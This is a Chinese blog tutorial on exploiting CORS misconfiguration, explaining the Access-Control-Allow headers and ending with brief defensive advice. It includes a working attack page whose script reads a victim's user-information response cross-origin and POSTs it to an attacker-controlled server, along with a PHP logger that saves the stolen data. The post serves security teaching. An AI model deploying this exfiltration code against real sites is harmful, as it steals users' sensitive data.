首页 > 其他分享 >渗透测试_CORS跨域资源共享

渗透测试_CORS跨域资源共享

时间:2023-04-18 22:15:45浏览次数:26  
标签:资源共享 Control 跨域 Origin Access xhr Allow CORS

CORS跨域资源共享

利用方式

访问页面查看网络 Access-Control-Allow-Origin 设置为* 所有域名可以请求本站资源。

Access-Control-Allow-Origin:该字段是必须的。它的值要么是请求时 Origin 字段的值,要么是一个*,表示接受任意域名的请求。

Access-Control-Allow-Credentials:该字段可选。它的值是一个布尔值,表示是否允许发送 Cookie。默认情况下,Cookie 不包括在 CORS 请求之中。当设置为 true 时,即表示服务器明确许可,Cookie 可以包含在请求中,一起发给服务器。这个值也只能设为 true,如果服务器不要浏览器发送 Cookie,删除该字段即可。

Access-Control-Expose-Headers : 该 字 段 可 选 。 CORS 请 求 时 , XMLHttpRequest 对 象 的getResponseHeader()方法只能拿到 6 个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在 Access-Control-Expose-Headers 里面指定。

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
<title>Cors</title>
</head>
<body>
<script>
	function cors() {
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
		if(xhr.readyState == 4){
			alert(xhr.responseText);
		} }
		// xhr.= twithCredentials rue;
		xhr.open("GET",'http://www.exp03.com/csrf/userinfo.php');
		xhr.send();
	}
	cors();
</script>
</body>
</html>

把构造好的恶意代码搭建在远程服务上,让受害者进行访问,即可获取受害者的敏感信息。

首先在远程服务器上准备记录代码

<?php
	$data = $_POST['moon'];
	if($data){
	$myfile = fopen("data.html","w");
	fwrite($myfile,$data);
	fclose($myfile);
	}

构造恶意代码

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
<title>Cors</title>
</head>
<body>
<script>
	function cors() {
		var xhr = new XMLHttpRequest();
		var xhr1 = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if(xhr.readyState == 4){
			alert(xhr.responseText)
			var data = xhr.responseText;
			xhr1.open("POST","http://www.exp04.com/moon.php",true);
			xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
			alert(data);
			xhr1.send("moon="+escape(data));
			// body = document.getElementsByTagName('body')
			// body[0].innerHTML = xhr.responseText;
		} }
	//xhr.withCredentials = true;
	xhr.open("GET",'http://www.exp03.com/csrf/userinfo.php');
	xhr.send();
	}
	cors();
</script>
</body>
</html>

当受害者浏览器此页面时,就会访问敏感信息,会把敏感信息发送到远程服务器上。

防御方式

1.不要配置"Access-Control-Allow-Origin" 为通配符“*”,而且更重要的是,要严格效验来自请求数据包中的"Origin" 的值。当收到跨域请求的时候,要检查"Origin" 的值是否是一个可信的源, 还要检查是否为 null
2.避免使用"Access-Control-Allow-Credentials: true"
3.减少 Access-Control- Allow-Methods 所允许的方法

标签:资源共享,Control,跨域,Origin,Access,xhr,Allow,CORS
From: https://www.cnblogs.com/KAKSKY/p/17331359.html

相关文章

  • tomcat6配置跨域
    项目下面添加库:cors-filter-1.7.jarjava-property-utils-1.9.jar项目的web.xml添加filter配置:<filter><filter-name>CORS</filter-name><filter-class>com.thetransactioncompany.cors.CORSFilter</filter-class><init-param>......
  • 后端解决跨域问题
    方法一:在每个controller类里加上跨域注解麻烦,每个控制器都要加注解方法二:写一个全局配置类来处理跨域packagecom.example.config;importorg.springframework.context.annotation.Bean;importorg.springframework.context.annotation.Configuration;importorg.springf......
  • 从ajax到跨域引发的相关面试题总结
    转载请注明出处:1.ajax异步和同步的区别Ajax是一种基于JavaScript语言和XMLHttpRequest对象的异步数据传输技术,通过它可以使不用刷新整个页面的情况下,对页面进行部分更新。同步和异步是指客户端发送请求时,主线程是否会阻塞等待服务器的响应返回。同步请求在发送请......
  • 解决vue-elment-admin mock转在线接口地址跨域问题
    devServer:{  port:port,  open:true,  overlay:{   warnings:false,   errors:true  },  //before:require('./mock/mock-server.js')  proxy:{//[process.env.VUE_APP_BASE_API]  vue中env.文件中配置的api名称......
  • Asp.NetWebApi跨域解决方案
    最近新开项目,项目初期本地部署访问webapi,api采用JWT验证,发现加上Authorization请求头后就报跨域问题,网上很多方案例如修改webconfig请求头什么的,均测试未果,多方尝试后有了以下方案,一行代码便完全解决跨域问题,特此记录!1、NuGet下载Microsoft.AspNet.WebApi.Cors  2、App_Sta......
  • asp.net webform 允许跨域
    voidApplication_BeginRequest(objectsender,EventArgse){//允许跨域请求的域名列表,可以根据需求进行修改string[]allowedOrigins=newstring[]{"http://example1.com","http://example2.com"};//获取请求来源stringorigin=HttpContex......
  • 解决javascript调用本地sanic接口报跨域错误的问题
    在py代码中利用middleware()方法修饰request/response即可,无需别的操作。 app=Sanic('Sanic_Server')@app.middleware("request")defcors_middle_req(request:Request):"""路由需要启用OPTIONS方法"""ifrequest.method.lower()==......
  • Charles:解决Charles映射本地时,option请求的跨域问题
    解决方案原因关于为什么会出现该问题,请参考:https://juejin.cn/post/7021077647417409550解决1、查看页面option接口的请求头中带『Access-Control』开头的header2、通过Charles的rewrite功能修改映射时的header3、具体配置如下:4、再次访问后,即可正常映射参考链接ht......
  • 前端webpack开发阶段解决跨域问题
    通过配置代理解决  1'/API':{2target:'https://xiaoapi.cn/API',//你请求的第三方接口3logLevel:"debug",//开启debug模式后,可在终端查看代理的真实请求地址4//ws:true,//代理websockets5changeOrigin:true,/*在......
  • 巧用Nginx配置解决跨域问题
    页面nginx配置1,前端页面放在域名根目录,比如,http://www.xuecheng.com/,对应的nginx配置:#门户location/{aliasD:/Z_lhy/SpringCloud/xuecheng_online/www/xc-ui-pc-static-portal/;indexindex.html;}页面目录:接口nginx配......